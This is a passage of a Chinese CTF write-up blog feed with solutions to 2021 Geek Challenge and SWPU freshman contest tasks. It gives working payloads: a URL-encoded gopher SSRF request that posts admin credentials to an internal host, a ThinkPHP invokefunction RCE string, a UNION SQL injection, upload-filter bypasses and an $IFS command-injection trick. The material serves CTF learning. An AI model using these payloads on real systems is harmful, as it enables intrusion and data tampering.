  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>很明显了，index.php传url，好像也没ban什么，这里采用gopher最强协议修改成绩，但在这之前我们需要知道内网的主机有哪些，可以爆破，但我这里查看/proc/net/arp和/etc/hosts两个文件。</p>
<p>两个文件里把在172.17.0.0/24网段下的拎出来</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="ln"> 1</span><span class="cl">172.17.0.6	5769d2ff2afc
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">IP address       HW type     Flags       HW address            Mask     Device
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">172.17.0.242     0x1         0x0         00:00:00:00:00:00     *        eth0
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">172.17.0.233     0x1         0x0         00:00:00:00:00:00     *        eth0
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">172.17.0.246     0x1         0x0         00:00:00:00:00:00     *        eth0
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">172.17.0.237     0x1         0x0         00:00:00:00:00:00     *        eth0
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">172.17.0.229     0x1         0x0         00:00:00:00:00:00     *        eth0
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">172.17.0.249     0x1         0x0         00:00:00:00:00:00     *        eth0
</span></span><span class="line"><span class="ln">10</span><span class="cl">172.17.0.253     0x1         0x0         00:00:00:00:00:00     *        eth0
</span></span><span class="line"><span class="ln">11</span><span class="cl">172.17.0.232     0x1         0x0         00:00:00:00:00:00     *        eth0
</span></span><span class="line"><span class="ln">12</span><span class="cl">172.17.0.241     0x1         0x0         00:00:00:00:00:00     *        eth0
</span></span><span class="line"><span class="ln">13</span><span class="cl">172.17.0.236     0x1         0x0         00:00:00:00:00:00     *        eth0
</span></span><span class="line"><span class="ln">14</span><span class="cl">172.17.0.245     0x1         0x0         00:00:00:00:00:00     *        eth0
</span></span><span class="line"><span class="ln">15</span><span class="cl">172.17.0.248     0x1         0x0         00:00:00:00:00:00     *        eth0
</span></span><span class="line"><span class="ln">16</span><span class="cl">172.17.0.252     0x1         0x0         00:00:00:00:00:00     *        eth0
</span></span><span class="line"><span class="ln">17</span><span class="cl">172.17.0.235     0x1         0x0         00:00:00:00:00:00     *        eth0
</span></span><span class="line"><span class="ln">18</span><span class="cl">172.17.0.7       0x1         0x2         02:42:ac:11:00:07     *        eth0
</span></span><span class="line"><span class="ln">19</span><span class="cl">172.17.0.240     0x1         0x0         00:00:00:00:00:00     *        eth0
</span></span><span class="line"><span class="ln">20</span><span class="cl">172.17.0.239     0x1         0x0         00:00:00:00:00:00     *        eth0
</span></span><span class="line"><span class="ln">21</span><span class="cl">172.17.0.244     0x1         0x0         00:00:00:00:00:00     *        eth0
</span></span><span class="line"><span class="ln">22</span><span class="cl">172.17.0.231     0x1         0x0         00:00:00:00:00:00     *        eth0
</span></span><span class="line"><span class="ln">23</span><span class="cl">172.17.0.251     0x1         0x0         00:00:00:00:00:00     *        eth0
</span></span><span class="line"><span class="ln">24</span><span class="cl">172.17.0.255     0x1         0x0         00:00:00:00:00:00     *        eth0
</span></span><span class="line"><span class="ln">25</span><span class="cl">172.17.0.234     0x1         0x0         00:00:00:00:00:00     *        eth0
</span></span><span class="line"><span class="ln">26</span><span class="cl">172.17.0.243     0x1         0x0         00:00:00:00:00:00     *        eth0
</span></span><span class="line"><span class="ln">27</span><span class="cl">172.17.0.238     0x1         0x0         00:00:00:00:00:00     *        eth0
</span></span><span class="line"><span class="ln">28</span><span class="cl">172.17.0.247     0x1         0x0         00:00:00:00:00:00     *        eth0
</span></span><span class="line"><span class="ln">29</span><span class="cl">172.17.0.230     0x1         0x0         00:00:00:00:00:00     *        eth0
</span></span><span class="line"><span class="ln">30</span><span class="cl">172.17.0.250     0x1         0x0         00:00:00:00:00:00     *        eth0
</span></span><span class="line"><span class="ln">31</span><span class="cl">172.17.0.254     0x1         0x0         00:00:00:00:00:00     *        eth0
</span></span><span class="line"><span class="ln">32</span><span class="cl">172.17.0.1       0x1         0x2         02:42:02:bf:e7:e3     *        eth0</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">text</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>这里去掉没硬件地址的，也就那几个，试一试就发现了，毕竟172.17.0.7开了80端口，然后去百度怎么利用gopher传post值，为什么是post，因为get我没试出来，而且传账密这种东西一般就是post，记住ssrf要url二次编码</p>
<p>payload：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">?url<span class="o">=</span>%67%6f%70%68%65%72%3a%2f%2f%31%37%32%2e%31%37%2e%30%2e%37%3a%38%30%2f%5f%50%4f%53%54%25%32%30%2f%69%6e%64%65%78%2e%70%68%70%25%32%30%48%54%54%50%2f%31%2e%31%25%30%44%25%30%41%48%6f%73%74%25%33%41%25%32%30%31%37%32%2e%31%37%2e%30%2e%37%25%33%41%38%30%25%30%44%25%30%41%43%6f%6e%74%65%6e%74%2d%54%79%70%65%25%33%41%25%32%30%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%25%30%44%25%30%41%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%25%33%41%25%32%30%33%36%25%30%44%25%30%41%25%30%44%25%30%41%6e%61%6d%65%25%33%44%61%64%6d%69%6e%25%32%36%70%61%73%73%77%6f%72%64%25%33%44%31%32%33%34%35%36%25%32%36%72%65%73%75%6c%74%25%33%44%36%30%25%30%44%25%30%41</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>出flag</p>
<h4 id="成全">成全<a class="anchor" href="#成全">#</a></h4>
<p>payload：<code>?s=index/think\app/invokefunction&amp;function=call_user_func_array&amp;vars[0]=assert&amp;vars[1][]=/flag</code></p>
<p>刚开始一条命令直接出，后来改题目了，复现的时候没做出来</p>
<h3 id="re">RE<a class="anchor" href="#re">#</a></h3>
<h3 id="pwn">PWN<a class="anchor" href="#pwn">#</a></h3>
<h4 id="恋爱小游戏">恋爱小游戏<a class="anchor" href="#恋爱小游戏">#</a></h4>
<p>连上就是shell</p>
<h3 id="crypto">CRYPTO<a class="anchor" href="#crypto">#</a></h3>
<h3 id="misc">MISC<a class="anchor" href="#misc">#</a></h3>
<h4 id="in-the-air">In the Air<a class="anchor" href="#in-the-air">#</a></h4>
<p>人家学校里才能做，好兄弟发的<img
  src="/4fd634/2021_geek_challenge_misc_intheair_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1081" height="2340"
/>
</p>
<h4 id="easysend">easysend<a class="anchor" href="#easysend">#</a></h4>
<p>领取以太坊测试币，发过去就行了</p>
<h4 id="这是什么命令">这是什么命令<a class="anchor" href="#这是什么命令">#</a></h4>
<blockquote>
<p>Intro &amp;&amp; Hint: 命令执行的vps ip为 110.42.233.91 执行的命令 cat flag.png | base64 | base64 | tac | nl | sort -k 2 &gt; flag.txt ;rm -f flag.png &amp; nohup php -S 0.0.0.0:2333 &raquo; /dev/null 2&gt;&amp;1 &amp;</p>
</blockquote>
<p>分开来分析
第一部分cat flag.png | base64 | base64 | tac | nl | sort -k 2 &gt; flag.txt
tac：文件内容倒序输出
nl：输出文件内容并加上行号
sort -k 2：将内容从a-z排序后输出
所以第一条命令的含义就是将flag.png两次base64的值倒序后按A-Z加上行号输出至flag.txt</p>
<p>第二部分rm -f flag.png &amp; nohup php -S 0.0.0.0:2333 &raquo; /dev/null 2&gt;&amp;1 &amp;
rm -r：删除文件
nohup：不挂断地运行命令
php -S：启动内置的web服务器
所以第二条命令的含义是删除图片，并在后台不间断的运行web服务器，端口为2333</p>
<p>直接访问http://110.42.233.91:2333/flag.txt，拿到数据直接上脚本</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="n">f</span><span class="o">=</span><span class="nb">open</span><span class="p">(</span><span class="s1">&#39;2333.txt&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="n">d</span><span class="o">=</span><span class="n">f</span><span class="o">.</span><span class="n">readlines</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="n">e</span><span class="o">=</span><span class="p">[</span><span class="s1">&#39;&#39;</span><span class="p">]</span><span class="o">*</span><span class="mi">500</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="kn">import</span> <span class="nn">base64</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">d</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">    <span class="n">ca</span><span class="o">=</span><span class="n">i</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span><span class="o">.</span><span class="n">split</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">base64</span><span class="o">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">ca</span><span class="p">[</span><span class="mi">1</span><span class="p">]))</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">    <span class="n">e</span><span class="p">[</span><span class="nb">int</span><span class="p">(</span><span class="n">ca</span><span class="p">[</span><span class="mi">0</span><span class="p">])]</span><span class="o">=</span><span class="n">base64</span><span class="o">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">ca</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="n">f</span><span class="o">=</span><span class="nb">open</span><span class="p">(</span><span class="s1">&#39;2333.png&#39;</span><span class="p">,</span><span class="s1">&#39;wb&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="n">f</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">base64</span><span class="o">.</span><span class="n">b64decode</span><span class="p">(</span><span class="s1">&#39;&#39;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">e</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">])))</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="n">f</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s1">&#39;ok&#39;</span><span class="p">)</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>flag在生成的图片里</p>
<p>其他的去<a
  href="https://lewiserii.github.io/2021/11/04/wp/%E6%9E%81%E5%AE%A2%E6%8C%91%E6%88%982021-misc-wp/" rel="nofollow noopener noreferrer" target="_blank"
  >好兄弟这里<span style="user-select:none"> ↗</span></a
>
看吧</p>
]]></content:encoded><category>WEB</category><category>线上赛</category></item><item><title>SWPU新生赛WriteUp</title><link>https://h4cker.zip/077813/</link><pubDate>Sat, 09 Oct 2021 14:26:39 +0800</pubDate><guid isPermaLink="true">https://h4cker.zip/077813/</guid><description/><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>一个线上赛，这个NSSCTF最爽的就是没有靶机操作的一分钟冷却，10.11比赛结束，但是我还要看看工控，所以不打这个比赛了，先把wp写了，pwn入门真TM艰难</p>
<h2 id="web">WEB<a class="anchor" href="#web">#</a></h2>
<blockquote>
<p>前面送分题，中间的也是基础题，后面搜知识点现学现用，最后俩RCE实在做不出来</p>
</blockquote>
<p><img
  src="/077813/swpu_web.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1596" height="1334"
/>
</p>
<h3 id="gift_f12">gift_F12<a class="anchor" href="#gift_f12">#</a></h3>
<p>藏在了JS代码里，我还以为要改时间，歌还不错</p>
<p><img
  src="/077813/swpu_gift_F12.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="709" height="250"
/>
</p>
<h3 id="caidao">caidao<a class="anchor" href="#caidao">#</a></h3>
<p><img
  src="/077813/swpu_caidao.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="625" height="213"
/>
</p>
<p>太直白了，但我偏用蚁剑</p>
<h3 id="jicao">jicao<a class="anchor" href="#jicao">#</a></h3>
<p>基操</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln">1</span><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="nx">highlight_file</span><span class="p">(</span><span class="s1">&#39;index.php&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="k">include</span><span class="p">(</span><span class="s2">&#34;flag.php&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="nv">$id</span><span class="o">=</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;id&#39;</span><span class="p">];</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="nv">$json</span><span class="o">=</span><span class="nx">json_decode</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;json&#39;</span><span class="p">],</span><span class="k">true</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="nv">$id</span><span class="o">==</span><span class="s2">&#34;wllmNB&#34;</span><span class="o">&amp;&amp;</span><span class="nv">$json</span><span class="p">[</span><span class="s1">&#39;x&#39;</span><span class="p">]</span><span class="o">==</span><span class="s2">&#34;wllm&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">7</span><span class="cl"><span class="p">{</span><span class="k">echo</span> <span class="nv">$flag</span><span class="p">;}</span>
</span></span><span class="line"><span class="ln">8</span><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>Payload:<code>GET: ?json={&quot;x&quot;:&quot;wllm&quot;}</code> <code>POST: id=wllmNB</code></p>
<h3 id="do_you_know_http">Do_you_know_http<a class="anchor" href="#do_you_know_http">#</a></h3>
<p>BP改包后，他出现success，要我自己跳转，不如HackBar<img
  src="/077813/swpu_Do_you_know_http.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1693" height="645"
/>
</p>
<h3 id="easy_md5">easy_md5<a class="anchor" href="#easy_md5">#</a></h3>
<p>没啥说的</p>
<p><img
  src="/077813/swpu_easy_md5.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="702" height="755"
/>
</p>
<h3 id="easy_sql">easy_sql<a class="anchor" href="#easy_sql">#</a></h3>
<p>杰哥？入门sql</p>
<p>Payload: <code>?wllm=-1' union select 1,(select group_concat(flag) from test_db.test_tb),3--+</code></p>
<h3 id="easyupload10">easyupload1.0<a class="anchor" href="#easyupload10">#</a></h3>
<p>抓包改类型。经典image/jpeg，这题flag在环境变量$FLAG里</p>
<h3 id="easyupload20">easyupload2.0<a class="anchor" href="#easyupload20">#</a></h3>
<p>后缀改成phtml，类型image/jpeg，flag在上级目录</p>
<h3 id="easyrce">easyrce<a class="anchor" href="#easyrce">#</a></h3>
<p>先system(&rsquo;ls /&rsquo;);知道了flag文件名再cat</p>
<p><img
  src="/077813/swpu_easyrce.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="913" height="444"
/>
</p>
<h3 id="babyrce">babyrce<a class="anchor" href="#babyrce">#</a></h3>
<p>Cookie添加admin=1，提示rasalghul.php，进入页面过滤了空格，用$IFS代替，先`ls$IFS/`看文件，再cat</p>
<p><img
  src="/077813/swpu_babyrce.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="923" height="510"
/>
</p>
<p>送分题结束了</p>
<h3 id="ez_unserialize">ez_unserialize<a class="anchor" href="#ez_unserialize">#</a></h3>
<p><img
  src="/077813/swpu_ez_unserialize_1.webp"
  alt=""
  class="zoomable"
